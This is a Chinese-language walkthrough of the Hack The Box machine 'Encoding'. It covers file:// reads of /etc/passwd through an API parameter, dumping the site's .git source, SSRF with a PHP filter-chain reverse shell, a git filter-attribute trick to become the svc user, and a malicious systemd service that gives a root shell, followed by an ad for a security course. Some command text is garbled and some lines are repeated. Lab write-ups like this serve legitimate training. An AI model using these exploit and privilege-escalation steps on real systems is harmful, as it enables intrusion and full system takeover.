一、常规端口扫描
开放了22和80端口
二、web渗透
-
访问web的api页面发现了一个子域名,先留着备用
-
对其进行目录扫描,没发现有用的信息
sudo feroxbuster -u http://haxtables.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
-
指定文件扫描,发现handler.php可访问
-
子域名爆破,发现了api和403的image子域名
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://haxtables.htb -H “Host:FUZZ.haxtables.htb” --hw 137
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oP6FmWbK-1692028446361)(https://image.3001.net/images/20230217/1676619528_63ef2f089583b867f0ae3.png!small)]
-
继续查看API页面,发现给了很多转换编码的代码示例,其中找到了一个"file_url"参数,这就可以试试file协议了,但是这个脚本返回的是一个编码后的数据,想要得到原始数据还需要进行解码
-
改善后的py脚本内容如下:
import requests
import jsonjson_data = {
‘action’: ‘str2hex’,
‘file_url’ : ‘file:///etc/passwd’
}response = requests.post(‘http://api.haxtables.htb/v3/tools/string/index.php’, json=json_data)
data = json.loads(response.text)
hex_string = data[“data”]
bytes_object = bytes.fromhex(hex_string)
string = bytes_object.decode()
print(string)
运行后成功拿到/etc/passwd数据
-
能利用file协议读取文件,那就先读取一下刚才扫描到的image子域的源码,因为是Apache所以位置为:/var/www/image/index.php
发现image/index.php包含了utils.php,继续读取这个utils源码看看,内容如下┌──(kali㉿kali)-[~/wallthrough/encoding]
<?php // Global functions function jsonify($body, $code = null) { if ($code) { http_response_code($code); } header('Content-Type: application/json; charset=utf-8'); echo json_encode($body); exit; } function get_url_content($url) { $domain = parse_url($url, PHP_URL_HOST); if (gethostbyname($domain) === "127.0.0.1") { echo jsonify(["message" => "Unacceptable URL"]); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP); curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); $url_content = curl_exec($ch); curl_close($ch); return $url_content; } function git_status() { $status = shell_exec('cd /var/www/image && /usr/bin/git status'); return $status; } function git_log($file) { $log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"'); return $log; } function git_commit() { $commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh'); return $commit; } ?>
└─$ sudo python hax.py
观察到这个php使用了git工具,那就意味着这个文件夹下大概率存在.git文件夹,于是修改脚本进行测试,位置为/var/www/image/.git/config’
结果显示确实存在.git文件夹
-
使用gittools中的gitdump.sh进行下载这个目录的文件分析,但是下载时都出错了
脚本地址:GitTools/gitdumper.sh at master · internetwache/GitTools ·
GitHub
这里忽略了这个脚本的下载方式要改一下,因为是image是403,所以还要以file协议的方式进行下载,修改代码如下,在download file位置修改:curl -X POST -H ‘Content-Type: application/json’ --data-binary "{“action”: “str2hex”, “file_url”: “file:///var/www/image/.git/KaTeX parse error: Expected group as argument to '\"' at position 10: objname\"}̲" 'http://api.h…target”
-
把.git文件夹下载到本地后,可以使用git ls-files --stage查看文件列表
git cat-file -p查看一下文件内容,看到多出一个action_handler.php,这个文件主要作用是判断是否存在get page参数
-
这个文件名为action_handler.php,想到刚才扫描中也有个handler.php文件,于是下载源码也分析一波,这段代码主要是用来判断是否存在’action’,‘data_file’和’uri_path’参数的,如果json格式的参数为空或者不存在则返回’Insufficient parameters!’,如果存在则调用make_api_call函数,猜测这个函数应该是向api发送请求的。重点来了,这段代码完全没对json参数进行过滤,也就意味着我们可以传入uri_path的恶意参数进行SSRF攻击
<?php include_once '../api/utils.php'; if (isset($_FILES['data_file'])) { $is_file = true; $action = $_POST['action']; $uri_path = $_POST['uri_path']; $data = $_FILES['data_file']['tmp_name']; } else { $is_file = false; $jsondata = json_decode(file_get_contents('php://input'), true); $action = $jsondata['action']; $data = $jsondata['data']; $uri_path = $jsondata['uri_path']; if ( empty($jsondata) || !array_key_exists('action', $jsondata) || !array_key_exists('uri_path', $jsondata)) { echo jsonify(['message' => 'Insufficient parameters!']); // echo jsonify(['message' => file_get_contents('php://input')]); } } $response = make_api_call($action, $data, $uri_path, $is_file); echo $response; ?> -
为了方便,直接使用burpsuite进行改包操作,json参数为:
{
“action”: “str2hex”,
“data”:“asdafaf”,
“uri_path”: “abc@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd&”
}
返回成功
-
根据之前的操作说明这个参数我们完全可控,那么就可以尝试利用PHP filters chain技术获取shell
地址:GitHub -
synacktiv/php_filter_chain_generator
先生成利用链
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gBnaknyk-1692028446367)(https://image.3001.net/images/20230217/1676620051_63ef3113354f6ca14128c.png!small)]
通过burp传参,要注意参数格式为/&a=生成的revshell&
-
成功拿到shell,找到立足点
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q6staXcj-1692028446368)(https://image.3001.net/images/20230217/1676620102_63ef3146a4211aa577502.png!small)]
三、提权至用户
-
常规执行sudo -l命令,发现可以执行/var/www/image/scripts/git-commit.sh,通过这个可以尝试提权到svc账户
-
进入/var/www/image/scripts/,查看git-commit.sh发现这是一个用来管理Git仓库文件的脚本
#!/bin/bash
u=$(/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image ls-fi
les -o --exclude-standard)if [[ $u ]]; then
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image a
dd -A
else
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image c
ommit -m “Commited from API!” --author=“james james@haxtables.htb” --no-verif
y
fi -
经过一番分析,可以用以下命令来反弹一个具有用户权限的shell,因为一般tmp目录都具有写入权限,所以把执行反弹shell的脚本放在tmp目录下
git init
echo ‘*.php filter=indent’ > .git/info/attributes
git config filter.indent.clean /tmp/shell.sh
sudo -u svc /var/www/image/scripts/git-commit.sh -
执行上面的命令成功得到一个shell
-
成功获取第一个flag
四、提权至root
-
得到用户权限的shell后,还是常规查看一下sudo -l,发现了可以以root权限重启系统服务
-
自己先新建一个系统服务,内容如下,这里就直接用刚才反弹用户shell的那个脚本反弹一次root权限的shell,也可以直接修改/bin/bash权限:
echo ‘[Service]
Type=oneshot
ExecStart=/tmp/shell.sh
[Install]
WantedBy=multi-user.target’ > /etc/systemd/system/root1.service
然后运行:
sudo systemctl restart root1
成功获取root权限的shell
- 获取rootflag
nstall]
WantedBy=multi-user.target’ > /etc/systemd/system/root1.service
然后运行:
sudo systemctl restart root1
成功获取root权限的shell
[外链图片转存中…(img-A4Xn0W7K-1692028446371)]
- 获取rootflag
[外链图片转存中…(img-BWjZ3ogr-1692028446372)]
网络安全学习路线
这是一份网络安全从零基础到进阶的学习路线大纲全览,小伙伴们记得点个收藏!
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x2nBwGN7-1692028446372)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]编辑
阶段一:基础入门
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9HMI2GsL-1692028446373)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]
网络安全导论
渗透测试基础
网络基础
操作系统基础
Web安全基础
数据库基础
编程基础
CTF基础
该阶段学完即可年薪15w+
阶段二:技术进阶(到了这一步你才算入门)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xcH69BOa-1692028446374)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]
弱口令与口令爆破
XSS漏洞
CSRF漏洞
SSRF漏洞
XXE漏洞
SQL注入
任意文件操作漏洞
业务逻辑漏洞
该阶段学完年薪25w+
阶段三:高阶提升
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-F2outbAJ-1692028446374)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]
反序列化漏洞
RCE
综合靶场实操项目
内网渗透
流量分析
日志分析
恶意代码分析
应急响应
实战训练
该阶段学完即可年薪30w+
阶段四:蓝队课程
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oZbvOLK0-1692028446375)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]
蓝队基础
蓝队进阶
该部分主攻蓝队的防御,即更容易被大家理解的网络安全工程师。
攻防兼备,年薪收入可以达到40w+
阶段五:面试指南&阶段六:升级内容
需要上述路线图对应的网络安全配套视频、源码以及更多网络安全相关书籍&面试题等内容
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
同学们可以扫描下方二维码获取哦!